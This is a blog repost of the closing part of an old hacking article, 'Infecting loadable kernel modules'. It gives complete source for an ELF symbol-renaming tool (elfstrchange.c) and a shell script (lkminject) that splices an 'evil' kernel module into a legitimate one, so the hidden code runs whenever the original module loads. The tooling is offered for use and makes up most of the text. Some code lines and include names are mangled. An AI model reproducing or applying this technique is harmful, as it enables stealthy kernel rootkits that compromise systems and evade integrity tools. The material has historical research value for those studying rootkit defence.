Chinaunix首页 | 论坛 | 博客
  • 博客访问: 897432
  • 博文数量: 194
  • 博客积分: 7991
  • 博客等级: 少将
  • 技术积分: 2067
  • 用 户 组: 普通用户
  • 注册时间: 2007-12-09 22:03
文章分类

全部博文(194)

文章存档

2010年(8)

2009年(71)

2008年(109)

2007年(6)

我的朋友

分类: LINUX

2008-04-08 08:33:10

 
接<[forward]Infecting loadable kernel modules(1)>
Conclusion
This paper has enlarged the number of techniques that allows to dissimulate code into the kernel. I have presented this technique because it is interesting to do it with very few and easy manipulations. Have fun when playing with it :)
Greetings
I want to thanks mycroft, OUAH, aki and afrique for their comments and ideas. Also a big thanks to klem for teaching me reverse engineering.
Thanks to FXKennedy for helping me with NetBSD. A big kiss to Carla for being wonderfull. And finally, thanks to all #root people, `spud, hotfyre, funka, jaia, climax, redoktober ...
References
  [1] Weakening the Linux Kernel by Plaguez
     
   
  [2] The Adore rootkit by stealth
     
  [3] Runtime kernel kmem patching by Silvio Cesare
     
   
  [4] Static Kernel Patching by jbtzhm
     
  [5] Tool interface specification on ELF
      ~scut/cpu/generic/TIS-ELF_v1.2.pdf
  [6] Modutils for 2.4.x kernels
     
  [7] Tripwire
     
   
  [8] Solaris Loadable Kernel Modules by Plasmoid
     
Codes

ElfStrChange
/*
 * elfstrchange.c by truff <>
 * Change the value of a symbol name in the .strtab section
 *
 * Usage: elfstrchange elf_object sym_name sym_name_replaced
 *
 */
#include
#include
#include
#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }

int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
                       Elf32_Shdr *shstrtable, char *res, size_t len);
                      
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
                       Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);
                      
Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
                       Elf32_Shdr *strtable, char *res, size_t len);

int main (int argc, char **argv)
{
  int i;
  int len = 0;
  char *string;
  FILE *fd;
  Elf32_Ehdr hdr;
  Elf32_Shdr symtab, strtab;
  Elf32_Sym sym;
  Elf32_Off symoffset;
  fd = fopen (argv[1], "r+");
  if (fd == NULL)
    FATAL ("fopen");
  if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)
    FATAL ("Elf header corrupted");
  if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1)
  {
    fprintf (stderr, "Can't get .symtab section\n");
    exit (EXIT_FAILURE);
  }
   
  if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1)
  {
    fprintf (stderr, "Can't get .strtab section\n");
    exit (EXIT_FAILURE);
  }
   
  symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);
  if (symoffset == -1)
  {
    fprintf (stderr, "Symbol %s not found\n", argv[2]);
    exit (EXIT_FAILURE);
  }
 
 
  printf ("[+] Symbol %s located at 0x%x\n", argv[2], symoffset);
 
  if (fseek (fd, symoffset, SEEK_SET) == -1)
    FATAL ("fseek");
  if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))
    FATAL ("fwrite");
 
  printf ("[+] .strtab entry overwriten with %s\n", argv[3]);
 
  fclose (fd);
  return EXIT_SUCCESS;
}
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
            Elf32_Shdr *strtab, char *name, Elf32_Sym *sym)
{
  int i;
  char symname[255];
  Elf32_Off offset;
  for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)
  {
    if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
               SEEK_SET) == -1)
      FATAL ("fseek");
   
    if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)
      FATAL ("Symtab corrupted");
   
    memset (symname, 0, sizeof (symname));
    offset = ElfGetSymbolName (fd, sym->st_name,
                        strtab, symname, sizeof (symname));
    if (!strcmp (symname, name))
      return offset;
  }
 
  return -1;
}

int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
    Elf32_Shdr *shdr)
{
  if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize),
             SEEK_SET) == -1)
    FATAL ("fseek");
 
  if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
    FATAL ("Sections header corrupted");
  return 0;
}
 
int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
                         Elf32_Shdr *shdr)
{
  int i;
  char name[255];
  Elf32_Shdr shstrtable;
  /*
   * Get the section header string table
   */
  ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);
 
  memset (name, 0, sizeof (name));
  for (i=0; ie_shnum; i++)
  {
    if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize),
               SEEK_SET) == -1)
      FATAL ("fseek");
   
    if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
      FATAL ("Sections header corrupted");
   
    ElfGetSectionName (fd, shdr->sh_name, &shstrtable,
                       name, sizeof (name));
    if (!strcmp (name, section))
    {
      return 0;
    }
  }
  return -1;
}

int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
    Elf32_Shdr *shstrtable, char *res, size_t len)
{
  size_t i = 0;
 
  if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
    FATAL ("fseek");
 
  while ((i < len) || *res == '\0')
  {
    *res = fgetc (fd);
    i++;
    res++;
  }
 
  return 0;
}

Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
    Elf32_Shdr *strtable, char *res, size_t len)
{
  size_t i = 0;
 
  if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
    FATAL ("fseek");
 
  while ((i < len) || *res == '\0')
  {
    *res = fgetc (fd);
    i++;
    res++;
  }
 
  return (strtable->sh_offset + sym_name);
}
/* EOF */
Lkminject
#!/bin/sh
#
# lkminject by truff ()
#
# Injects a Linux lkm into another one.
#
# Usage:
# ./lkminfect.sh original_lkm.o evil_lkm.c
#
# Notes:
# You have to modify evil_lkm.c as explained bellow:
# In the init_module code, you have to insert this line, just after
# variables init:
# dumm_module ();
#
# In the cleanup_module code, you have to insert this line, just after
# variables init:
# dummcle_module ();
#
#                        - Security Researchs -
###########################################################################

sed -e s/init_module/evil_module/ $2 > tmp
mv tmp $2
sed -e s/cleanup_module/evclean_module/ $2 > tmp
mv tmp $2
# Replace the following line with the compilation line for your evil lkm
# if needed.
make
ld -r $1 $(basename $2 .c).o -o evil.o
./elfstrchange evil.o init_module dumm_module
./elfstrchange evil.o evil_module init_module
./elfstrchange evil.o cleanup_module dummcle_module
./elfstrchange evil.o evclean_module cleanup_module
mv evil.o $1
rm elfstrchange
阅读(1469) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~